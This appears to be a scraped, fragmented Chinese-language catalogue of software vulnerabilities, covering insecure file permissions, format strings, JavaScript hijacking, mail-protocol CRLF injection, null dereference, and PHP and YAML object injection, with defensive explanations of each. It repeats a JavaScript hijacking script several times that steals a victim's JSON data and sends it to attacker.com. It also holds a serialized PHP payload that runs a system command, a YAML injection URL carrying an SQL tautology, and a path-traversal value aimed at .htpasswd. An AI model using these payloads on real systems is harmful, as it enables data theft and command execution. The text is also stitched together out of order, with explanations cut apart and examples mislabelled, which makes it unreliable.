permissions := strconv.Atoi(os.Getenv("filePermissions"));
fMode := os.FileMode(permissions)
os.chmod(filePath, fMode);
...
String permissionMask = System.getProperty("defaultFileMask");
Path filePath = userFile.toPath();
...
Set<PosixFilePermission> perms = PosixFilePermissions.fromString(permissionMask);
Files.setPosixFilePermissions(filePath, perms);
...
$rName = $_GET['publicReport'];
chmod("/home/". authenticateUser . "/public_html/" . rName,"0755");
...
publicReport
提供恶意值(例如,../../localuser/public_html/.htpasswd
),那么应用程序将允许攻击者读取指定文件。
...
$mask = $CONFIG_TXT['perms'];
chmod($filename,$mask);
...
permissions = os.getenv("filePermissions");
os.chmod(filePath, permissions);
...
...
rName = req['publicReport']
File.chmod("/home/#{authenticatedUser}/public_html/#{rName}", "0755")
...
publicReport
提供恶意值(例如,../../localuser/public_html/.htpasswd
),那么应用程序将允许攻击者读取指定文件。
...
mask = config_params['perms']
File.chmod(filename, mask)
...
services-config.xml
描述符文件会指定一个“Logging”XML 元素来描述日志记录的不同方面。它类似于以下内容:
<logging>
<target class="flex.messaging.log.ConsoleTarget" level="Debug">
<properties>
<prefix>[BlazeDS]</prefix>
<includeDate>false</includeDate>
<includeTime>false</includeTime>
<includeLevel>false</includeLevel>
<includeCategory>false</includeCategory>
</properties>
<filters>
<pattern>Endpoint.*</pattern>
<pattern>Service.*</pattern>
<pattern>Configuration</pattern>
</filters>
</target>
</logging>
target
标签可采用一个名为 level
的可选属性,用来指示日志级别。如果调试级别设置为太详细的级别,您的应用程序可能会将敏感数据写入日志文件。sprintf()
、FormatMessageW()
或 syslog()
。snprintf()
将一个命令行参数复制到缓冲区中。
int main(int argc, char **argv){
char buf[128];
...
snprintf(buf,128,argv[1]);
}
%x
)来读取堆栈中的内容,然后函数会作为即将格式化的参数使用。(在本例中,函数没有采用任何即将格式化的参数。)通过使用 %n
格式化指令,攻击者能够对堆栈进行写入,进而使 snprintf()
记下迄今为止输出的字节数,并将其传送给指定的参数(而不是直接从参数中读取数值,这是程序员最初设计的行为)。对于这种攻击,更为的复杂的形式是使用四条交错的写入来完全控制堆栈中某个指针的值。
printf("%d %d %1$d %1$d\n", 5, 9);
5 9 5 5
Example 1
中所述。syslog()
函数有时候可以这样使用:
...
syslog(LOG_ERR, cmdBuf);
...
syslog()
的第二个参数是格式字符串,因此 cmdBuf
中的任何格式化指令都会按照Example 1
中所述进行解释。syslog()
的正确使用方式:
...
syslog(LOG_ERR, "%s", cmdBuf);
...
sprintf()
、FormatMessageW()
、syslog()
、NSLog
或 NSString.stringWithFormat
示例 1:下面的代码将命令行参数作为 NSString.stringWithFormat:
中的 format string。
int main(int argc, char **argv){
char buf[128];
...
[NSString stringWithFormat:argv[1], argv[2] ];
}
%x
)来读取堆栈中的内容,然后函数会作为即将格式化的参数使用。(在本例中,函数没有采用任何即将格式化的参数。)
printf("%d %d %1$d %1$d\n", 5, 9);
5 9 5 5
Example 1
中所述。syslog()
函数有时候可以这样使用:
...
syslog(LOG_ERR, cmdBuf);
...
syslog()
的第二个参数是格式字符串,因此 cmdBuf
中的任何格式化指令都会按照Example 1
中所述进行解释。syslog()
的正确使用方式:示例 4:Apple 核心类提供了利用 format string 漏洞的有趣途径。
...
syslog(LOG_ERR, "%s", cmdBuf);
...
String.stringByAppendingFormat()
函数有时候可以这样使用:
...
NSString test = @"Sample Text.";
test = [test stringByAppendingFormat:[MyClass
formatInput:inputControl.text]];
...
stringByAppendingFormat()
的正确使用方式:
...
NSString test = @"Sample Text.";
test = [test stringByAppendingFormat:@"%@", [MyClass
formatInput:inputControl.text]];
...
strncpy()
),使用方式不正确也会引发漏洞。对内存的处理加之有关数据段大小和结构方面所存在种种错误假设,是导致大多数 buffer overflow 漏洞产生的根源。
void wrongNumberArgs(char *s, float f, int d) {
char buf[1024];
sprintf(buf, "Wrong number of %.512s");
}
strncpy()
),使用方式不正确也会引发漏洞。对内存的处理加之有关数据段大小和结构方面所存在种种错误假设,是导致大多数 buffer overflow 漏洞产生的根源。%d
格式说明符将一个浮点转换为 f
。
void ArgTypeMismatch(float f, int d, char *s, wchar *ws) {
char buf[1024];
sprintf(buf, "Wrong type of %d", f);
...
}
script
标签。
<script src="http://www.example.com/js/fancyWidget.js"></script>
www.example.com
以外的网站中,则该站点将依赖 www.example.com
来运行正确的非恶意代码。如果攻击者可以入侵 www.example.com
,则他们可以篡改 fancyWidget.js
的内容,损害站点安全。例如,他们可以将代码添加到 fancyWidget.js
中,窃取用户的机密数据。
...
String lang = Request.Form["lang"];
WebClient client = new WebClient();
client.BaseAddress = url;
NameValueCollection myQueryStringCollection = new NameValueCollection();
myQueryStringCollection.Add("q", lang);
client.QueryString = myQueryStringCollection;
Stream data = client.OpenRead(url);
...
lang
(例如 en&poll_id=1
),然后攻击者可以随意更改该 poll_id
。
...
String lang = request.getParameter("lang");
GetMethod get = new GetMethod("http://www.example.com");
get.setQueryString("lang=" + lang + "&poll_id=" + poll_id);
get.execute();
...
lang
(例如 en&poll_id=1
),然后攻击者将可以随意更改该 poll_id
。
<%
...
$id = $_GET["id"];
header("Location: http://www.host.com/election.php?poll_id=" . $id);
...
%>
name=alice
,但他们添加了额外的 name=alice&
,如果在提取第一个匹配项的服务器上使用它,那么它可能会模仿 alice
以便获取有关她的帐户的详细信息。
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
from django.http.response import JsonResponse
...
def handle_upload(request):
response = JsonResponse(sensitive_data, safe=False) # Sensitive data is stored in a list
return response
<script>
标签求值的有效 JavaScript 组成,因此很容易受到 JavaScript 劫持的攻击 [1]。默认情况下,这个框架使用 POST 方法提交请求,这样就很难从恶意 <script>
标签生成请求(因为 <script>
标签仅生成 GET 请求)。尽管如此,Microsoft AJAX.NET 确实提供了使用 GET 请求的机制。事实上,许多专家建议程序员使用 GET 请求,以减少浏览器缓存和改善性能。
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
<script>
标签求值的有效 JavaScript 组成,因此很容易受到 JavaScript 劫持的攻击 [1]。默认情况下,这个框架使用 POST 方法提交请求,这样就很难从恶意 <script>
标签生成请求(因为 <script>
标签仅生成 GET 请求)。尽管如此,GWT 确实提供了使用 GET 请求的机制。事实上,许多专家建议程序员使用 GET 请求,以减少浏览器缓存和改善性能。
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
search
方法的 javax.naming.directory.SearchControls
实例的 returningObjectFlag
设置为 true
,或使用代表其设置此标志的库函数,执行对象返回搜索。
<beans ... >
<authentication-manager>
<ldap-authentication-provider
user-search-filter="(uid={0})"
user-search-base="ou=users,dc=example,dc=org"
group-search-filter="(uniqueMember={0})"
group-search-base="ou=groups,dc=example,dc=org"
group-role-attribute="cn"
role-prefix="ROLE_">
</ldap-authentication-provider>
</authentication-manager>
</beans>
CREATE
命令。攻击者可以利用此参数修改发送到服务器的命令,并使用 CRLF 字符注入新命令。
...
final String foldername = request.getParameter("folder");
IMAPFolder folder = (IMAPFolder) store.getFolder("INBOX");
...
folder.doCommand(new IMAPFolder.ProtocolCommand() {
@Override
public Object doCommand(IMAPProtocol imapProtocol) throws ProtocolException {
try {
imapProtocol.simpleCommand("CREATE " + foldername, null);
} catch (Exception e) {
// Handle Exception
}
return null;
}
});
...
USER
和 PASS
命令。攻击者可以利用此参数修改发送到服务器的命令,并使用 CRLF 字符注入新命令。
...
String username = request.getParameter("username");
String password = request.getParameter("password");
...
POP3SClient pop3 = new POP3SClient(proto, false);
pop3.login(username, password)
...
VRFY
命令。攻击者可能会使用此参数修改发送到服务器的命令并使用 CRLF 字符注入新命令。
...
c, err := smtp.Dial(x)
if err != nil {
log.Fatal(err)
}
user := request.FormValue("USER")
c.Verify(user)
...
VRFY
命令。攻击者可以利用此参数修改发送到服务器的命令,并使用 CRLF 字符注入新命令。
...
String user = request.getParameter("user");
SMTPSSLTransport transport = new SMTPSSLTransport(session,new URLName(Utilities.getProperty("smtp.server")));
transport.connect(Utilities.getProperty("smtp.server"), username, password);
transport.simpleCommand("VRFY " + user);
...
VRFY
命令。攻击者可以利用此参数修改发送到服务器的命令,并使用 CRLF 字符注入新命令。
...
user = request.GET['user']
session = smtplib.SMTP(smtp_server, smtp_tls_port)
session.ehlo()
session.starttls()
session.login(username, password)
session.docmd("VRFY", user)
...
null
。Equals()
之前检查 Item
属性返回的字符串是否为 null
,从而可能会导致 null
dereference。
string itemName = request.Item(ITEM_NAME);
if (itemName.Equals(IMPORTANT_ITEM)) {
...
}
...
null
也就无关紧要了。”null
。malloc()
返回的指针之前,并没有检查内存是否分配成功。
buf = (char*) malloc(req_size);
strncpy(buf, xfer, req_size);
malloc()
的调用失败是不是因为 req_size
太大,还是因为在同一时刻处理的请求太多。或者是由于已累计超时的 memory leak 引起的。如果不对错误进行处理,就不会知道是什么原因。null
。compareTo()
之前,不会检查 getParameter()
返回的字符串是否为 null
,从而可能会造成 null
dereference。例 2:。以下代码显示了这样一个例子,一个系统属性被设置为了
String itemName = request.getParameter(ITEM_NAME);
if (itemName.compareTo(IMPORTANT_ITEM)) {
...
}
...
null
,随后间接引用它的程序员错误地认为该属性值是已定义的。
System.clearProperty("os.name");
...
String os = System.getProperty("os.name");
if (os.equalsIgnoreCase("Windows 95") )
System.out.println("Not supported");
null
也就无关紧要了。”NullException
。cmd
”的属性。如果攻击者可以控制程序的环境,从而使“cmd
”处于未定义状态,则它就会在尝试调用 Trim()
方法时抛出一个 null 指针异常。
string cmd = null;
...
cmd = Environment.GetEnvironmentVariable("cmd");
cmd = cmd.Trim();
null
的指针是否为 null
之前间接引用该指针,则会发生 check-after-dereference 错误。如果程序明确检查过 null
,并确定该指针为 null
,但仍继续间接引用该指针,则会出现 dereference-after-check 错误。此类错误通常是由于错别字或程序员疏忽造成的。如果程序明确将指针设置为 null
,但稍后却间接引用该指针,则将出现 dereference-after-store 错误。此错误通常是因为程序员在声明变量时将该变量初始化为 null
所致。ptr
不是 NULL
。当程序员间接引用该指针时,这个假设就会清晰的体现出来。当程序员检查 ptr
是否为 NULL
时,就会与该假设发生矛盾。当在 if
语句中检查时,如果 ptr
可以为 NULL
,则在其间接引用时也将为 NULL
,并引起 segmentation fault。示例 2:在下列代码中,程序员会确认变量
ptr->field = val;
...
if (ptr != NULL) {
...
}
ptr
为 NULL
,然后错误地对其进行间接引用。如果在 if
语句中检查 ptr
时其为 NULL
,则会发生 null
dereference,从而导致分段故障。示例 3:在下列代码中,程序员忘记了字符串
if (ptr == null) {
ptr->field = val;
...
}
'\0'
实际上为 0 还是 NULL
,从而间接引用 null 指针并引发分段故障。示例 4:在下列代码中,程序员会将变量
if (ptr == '\0') {
*ptr = val;
...
}
ptr
明确设置为 NULL
。之后,程序员会间接引用 ptr
,而未检查对象是否为 null
值。
*ptr = NULL;
...
ptr->field = val;
...
}
NullPointerException
。cmd
”的属性。如果攻击者可以控制程序的环境,从而使“cmd
”处于未定义状态,则它就会在尝试调用 trim()
方法时抛出一个 null 指针异常。
String val = null;
...
cmd = System.getProperty("cmd");
if (cmd)
val = util.translateCommand(cmd);
...
cmd = val.trim();
unserialize()
函数,则会出现 Object injection 漏洞。攻击者可以将经特殊技术处理的序列化字符串传递到易受攻击的 unserialize()
调用,导致任意 PHP 对象注入应用程序范围。这种漏洞的严重性取决于应用程序范围中可用的类。攻击者会对实施 PHP 幻数方法(如 __wakeup
或 __destruct
)的类感兴趣,因为他们可以执行这些方法中的代码。__destruct()
幻数方法并执行定义为类属性的系统命令的 PHP 类。还有使用用户提供的数据对 unserialize()
进行的不安全调用。
...
class SomeAvailableClass {
public $command=null;
public function __destruct() {
system($this->command);
}
}
...
$user = unserialize($_GET['user']);
...
Example 1
中,应用程序可能预期获得一个序列化的 User
对象,但攻击者实际上可能提供 SomeAvailableClass
的序列化版本,并为其 command
属性提供一个预定义值:
GET REQUEST: http://server/page.php?user=O:18:"SomeAvailableClass":1:{s:7:"command";s:8:"uname -a";}
$user
对象的其他引用,析构函数方法将被调用并执行攻击者提供的命令。unserialize()
时声明的不同类,该技术由 Stefan Esser 在 BlackHat 2010 会议上提出。利用该技术,攻击者可以重复使用现有代码以生成其自己的负载。YAML.load()
的反序列化数据的函数,则会出现 Object injection 漏洞。只要在反序列化时将类加载到应用程序中,攻击者就可以将经特殊技术处理的序列化字符串传递到易受攻击的 YAML.load()
调用,从而将任意 Ruby 对象注入程序中。这可能带来大量的各种攻击机会,如绕过验证逻辑找到跨站点脚本漏洞,允许通过看似硬编码值来进行 SQL 注入,甚至进行完整的代码执行。YAML.load()
进行的不安全调用。
...
class Transaction
attr_accessor :id
def initialize(num=nil)
@id = num.is_a?(Numeric) ? num : nil
end
def print_details
unless @id.nil?
print $conn.query("SELECT * FROM transactions WHERE id=#{@id}")
end
end
end
...
user = YAML.load(params[:user]);
user.print_details
...
Example 1
中,应用程序可能预期获取一个序列化的 User
对象,而该对象也恰好具有一个名为 print_details
的函数,但攻击者可能实际上会提供 Transaction
对象的序列化版本,并为其 @id
属性提供一个预定义值。因此,如下所示的请求可能会允许绕过用于确保 @id
为数值的验证检查
GET REQUEST: http://server/page?user=!ruby%2Fobject%3ATransaction%0Aid%3A4%20or%205%3D5%0A
user
参数获分配了 !ruby/object:Transaction\nid:4 or 5=5\n
。Transaction
类型的对象,将 @id
设置为 "4 or 5=5"
。当开发人员认为他们将调用 User#print_details()
时,其实现在他们将会调用 Transaction#print_details()
,且 Ruby 的字符串插值意味着 SQL 查询将被更改,以执行查询:SELECT * FROM transactions WHERE id=4 or 5=5
。由于添加了额外语句,所以查询将评估为 true
并将返回 transactions
表中的所有内容,而不是开发人员所期望的单行。YAML.load()
时声明的不同类,该技术由 Stefan Esser 在 BlackHat 2010 会议上提出。利用该技术,攻击者可以重复使用现有代码以生成其自己的负载。clone()
应调用 super.clone()
获取新的对象。clone()
的方法中,应通过调用 super.clone()
来获取新对象。如果类没有遵守该约定,那么子类的 clone()
方法将会返回一个错误的对象类型。super.clone()
而产生的 bug。由于 Kibitzer
实现 clone()
的方法的缘故,FancyKibitzer
的克隆方法将会返回类型为 Kibitzer
而非 FancyKibitzer
的对象。
public class Kibitzer implements Cloneable {
public Object clone() throws CloneNotSupportedException {
Object returnMe = new Kibitzer();
...
}
}
public class FancyKibitzer extends Kibitzer
implements Cloneable {
public Object clone() throws CloneNotSupportedException {
Object returnMe = super.clone();
...
}
}